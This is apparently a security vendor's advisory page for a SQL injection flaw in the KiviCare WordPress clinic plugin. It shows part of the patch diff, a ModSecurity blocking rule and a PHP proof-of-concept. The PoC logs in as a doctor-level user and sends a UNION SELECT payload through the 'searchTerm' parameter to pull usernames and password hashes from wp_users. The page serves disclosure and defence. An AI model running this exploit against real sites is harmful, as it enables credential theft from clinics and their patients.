+                $doctorClinicIds = array_filter($doctorClinicIds);
+
+
+                if (!empty($doctorClinicIds)) {
+                    $clinicsQuery->whereIn('id', $doctorClinicIds);
+
+                    // If exclude_with_sessions is true, exclude clinics where doctor has sessions
+                    if ($excludeWithSessions === true) {
+                        // Get clinic IDs where this doctor already has sessions
+                        $sessionClinicIds = AppmodelsKCClinicSession::query()
+                            ->where('doctorId', absint($doctorId))
+                            ->select(['clinic_id'])
+                            ->groupBy('clinic_id')
+                            ->get()
+                            ->map(fn($row) => $row->clinicId)
+                            ->toArray();
+
+                        $sessionClinicIds = array_filter($sessionClinicIds);
+
+                        if (!empty($sessionClinicIds)) {
+                            // Exclude clinics where doctor already has sessions
+                            $clinicsQuery->whereNotIn('id', $sessionClinicIds);
                         }
-                    } else {
-                        // Doctor not associated with any clinic
-                        $clinicsQuery->whereRaw('0=1');
                     }
+                } else {
+                    // Doctor not associated with any clinic
+                    $clinicsQuery->whereRaw('0=1');
                 }
             }

@@ -792,13 +819,11 @@
             $totalCount = $clinicsQuery->count();

             // Handle pagination
-            if ($request instanceof WP_REST_Request) {
-                $page = $request->get_param('page') ?: 1;
-                $perPage = $request->get_param('per_page') ?: 10;
-                $offset = ($page - 1) * $perPage;
-                if ($page !== -1) {
-                    $clinicsQuery->limit($perPage)->offset($offset);
-                }
+            $page = $request->get_param('page') ?: 1;
+            $perPage = $request->get_param('per_page') ?: 10;
+            $offset = ($page - 1) * $perPage;
+            if ($page !== -1) {
+                $clinicsQuery->limit($perPage)->offset($offset);
             }
             $clinics = $clinicsQuery->get();

@@ -842,30 +867,20 @@
                 ];
             })->toArray();

-            // Add pagination metadata if request provided
-            if ($request instanceof WP_REST_Request) {
-                $page = $request->get_param('page') ?: 1;
-                $perPage = $request->get_param('per_page') ?: 10;
-                $totalPages = ceil($totalCount / $perPage);
-
-                return [
-                    'data' => $result,
-                    'pagination' => [
-                        'total' => $totalCount,
-                        'per_page' => $perPage,
-                        'current_page' => $page,
-                        'total_pages' => $totalPages,
-                        'has_more' => $page < $totalPages,
-                    ]
-                ];
-            }
+            $totalPages = ceil($totalCount / $perPage);

-            return $result;
+            return [
+                'data' => $result,
+                'pagination' => [
+                    'total' => $totalCount,
+                    'per_page' => $perPage,
+                    'current_page' => $page,
+                    'total_pages' => $totalPages,
+                    'has_more' => $page < $totalPages,
+                ]
+            ];
         } catch (Exception $e) {
-            if ($request instanceof WP_REST_Request) {
-                return ['data' => [], 'pagination' => ['total' => 0, 'per_page' => 10, 'current_page' => 1, 'total_pages' => 0, 'has_more' => false]];
-            }
-            return [];
+            return ['data' => [], 'pagination' => ['total' => 0, 'per_page' => 10, 'current_page' => 1, 'total_pages' => 0, 'has_more' => false]];
         }
     }

--- a/kivicare-clinic-management-system/app/models/KCBill.php
+++ b/kivicare-clinic-management-system/app/models/KCBill.php
@@ -176,11 +176,13 @@
         $prefix = $currency_format['prefix'] ?? '';
         $postfix = $currency_format['postfix'] ?? '';

+        $total_revenue = is_object($total) ? ($total->total_revenue ?? 0) : (is_numeric($total) ? $total : 0);
+
         // Format the total with number_format for proper thousand separators
-        $formatted_total = $prefix . number_format($total->total_revenue) . $postfix;
+        $formatted_total = $prefix . number_format((float) $total_revenue) . $postfix;
         return [
-            'count' => $total->total_revenue ?? 0,
+            'count' => $total_revenue,
             'formatted_count' => $formatted_total
         ];
     }
-}
 No newline at end of file
+}
--- a/kivicare-clinic-management-system/app/paymentGateways/KCKnitPay.php
+++ b/kivicare-clinic-management-system/app/paymentGateways/KCKnitPay.php
@@ -145,6 +145,31 @@
     }

     /**
+     * Public/mobile-safe Knit Pay payment methods.
+     *
+     * Knit Pay can expose multiple configured payment methods, so this returns
+     * a list of payment method configs instead of a single gateway config.
+     *
+     * @return array<int, array<string, string>>
+     */
+    public function get_public_config(): array
+    {
+        $methods = [];
+
+        foreach ($this->get_enabled_configs() as $config) {
+            if (empty($config['id'])) {
+                continue;
+            }
+
+            $methods[] = [
+                'paymentMethod' => 'knit_pay_' . $config['id'],
+            ];
+        }
+
+        return $methods;
+    }
+
+    /**
      * Filter Redirect URL
      *
      * Intercepts the Knit Pay redirect URL to ensure it hits the KiviCare REST API endpoint.
@@ -459,4 +484,4 @@
     {
         return $this->create_payment_response('success', 'Webhooks for Knit Pay are handled by the Pronamic plugin.', []);
     }
-}
 No newline at end of file
+}
--- a/kivicare-clinic-management-system/app/paymentGateways/KCPayLater.php
+++ b/kivicare-clinic-management-system/app/paymentGateways/KCPayLater.php
@@ -79,7 +79,7 @@
                 'Appointment booked successfully. Payment due later (manual).'
             );

-        } catch (Exception $e) {
+        } catch (Exception $e) {
             $this->log("Pay Later processing error: " . $e->getMessage(), 'error');
             return $this->create_payment_response(
                 'failed',
@@ -128,9 +128,19 @@
      */
     public function get_settings() {
         $value = $this->settings ?? 'off';
-        $this->settings = [];
-        $this->settings['enablePayLater'] = ($value === 'on');
-        return $this->settings;
+        return [
+            'enablePayLater' => ($value === 'on'),
+        ];
+    }
+
+    /**
+     * Public/mobile-safe payment config.
+     */
+    public function get_public_config(): array
+    {
+        return [
+            'paymentMethod' => 'offline',
+        ];
     }

     /**
@@ -149,4 +159,4 @@

         return $this->get_settings();
     }
-}
 No newline at end of file
+}
--- a/kivicare-clinic-management-system/app/paymentGateways/KCPaypal.php
+++ b/kivicare-clinic-management-system/app/paymentGateways/KCPaypal.php
@@ -666,6 +666,24 @@
         return $settings;
     }

+    /**
+     * Public/mobile-safe PayPal configuration.
+     */
+    public function get_public_config(): array
+    {
+        $settings = $this->get_settings();
+        $environment = ((string) ($settings['mode'] ?? '0') === '0') ? 'test' : 'live';
+
+        return [
+            'paymentMethod' => 'paypal',
+            'environment' => $environment,
+            'publicKey' => $settings['client_id'] ?? '',
+            'paymentURL' => $environment === 'test'
+                ? 'https://api.sandbox.paypal.com'
+                : 'https://api.paypal.com',
+        ];
+    }
+
     public function update_settings($settings)
     {
         $processed_settings = $this->settings;
@@ -759,4 +777,4 @@
         return $this->get_settings();
     }

-}
 No newline at end of file
+}
--- a/kivicare-clinic-management-system/app/paymentGateways/KCWooCommerce.php
+++ b/kivicare-clinic-management-system/app/paymentGateways/KCWooCommerce.php
@@ -668,6 +668,16 @@
         return $this->settings;
     }

+    /**
+     * Public/mobile-safe WooCommerce configuration.
+     */
+    public function get_public_config(): array
+    {
+        return [
+            'paymentMethod' => 'wooCommerce',
+        ];
+    }
+
     public function update_settings($settings)
     {
         $value = $settings['enableWooCommerce'] ?? 'off';
--- a/kivicare-clinic-management-system/kivicare-clinic-management-system.php
+++ b/kivicare-clinic-management-system/kivicare-clinic-management-system.php
@@ -3,7 +3,7 @@
  * Plugin Name: KiviCare - Clinic & Patient Management System (EHR)
  * Plugin URI: https://kivicare.io
  * Description: KiviCare is an impressive clinic and patient management plugin (EHR). It comes with powerful shortcodes for appointment booking and patient registration.
- * Version: 4.5.1
+ * Version: 4.5.2
  * Author: iqonic design
  * Text Domain: kivicare-clinic-management-system
  * Domain Path: /languages
@@ -46,7 +46,7 @@
 }

 if (!defined('KIVI_CARE_VERSION')) {
-	define('KIVI_CARE_VERSION', "4.5.1");
+	define('KIVI_CARE_VERSION', "4.5.2");
 }

 if (!defined('KIVI_CARE_API_VERSION')) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15453
# Block SQL injection attempts against the KiviCare listing endpoint
SecRule REQUEST_URI "@rx ^/wp-json/kivicare/v[0-9]+/listing" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-15453 - KiviCare SQLi via searchTerm',severity:'CRITICAL',tag:'CVE-2026-15453'"
  SecRule ARGS:searchTerm "@detectSQLi" "t:lowercase,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15453 - KiviCare <= 4.5.1 - Authenticated (Doctor+) SQL Injection via 'searchTerm' Parameter

$target_url = 'http://your-wordpress-site.com'; // Change this to the target WordPress site URL
$username = 'doctor'; // User with KiviCare Doctor role
$password = 'password';

// Initialize cURL session
$ch = curl_init();

// 1. Login to WordPress to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Store cookies
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);

// Check if login was successful (look for the WP cookie in the jar)
if (!file_exists('cookies.txt') || !strpos(file_get_contents('cookies.txt'), 'wordpress_logged_in')) {
    die('Login failed. Check credentials and target URL.n');
}

// 2. Craft the SQL injection payload
// This payload uses a UNION SELECT to extract usernames, but it needs to match the column count.
// We will try a standard count of 2 columns first. You may need to adjust.
$payload = "%' UNION SELECT user_login, user_pass FROM wp_users WHERE 1=1 -- -%;";

// 3. Send the request to the vulnerable endpoint
// The REST endpoint is likely /wp-json/kivicare/v1/listing/ or similar.
// Find the exact endpoint from the plugin source code.
$vulnerable_url = $target_url . '/wp-json/kivicare/v1/listing';

$post_data = [
    'searchTerm' => $payload
];

curl_setopt($ch, CURLOPT_URL, $vulnerable_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); // Load cookies from jar
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);

// 4. Check the response for extracted data
if ($response) {
    echo "Response received:n";
    // Look for the extracted usernames and hashes in the response
    if (preg_match('/"user_login":"([^"]+)","user_pass":"([^"]+)"/', $response, $matches)) {
        echo "[+] Extracted Data:n";
        echo "Username: " . $matches[1] . "n";
        echo "Password Hash: " . $matches[2] . "n";
    } else {
        echo "No data extracted. Check payload. Response body might be large, here is the first 500 chars:n" . substr($response, 0, 500) . "n";
    }
} else {
    echo "cURL error: " . curl_error($ch) . "n";
}

// Clean up
curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.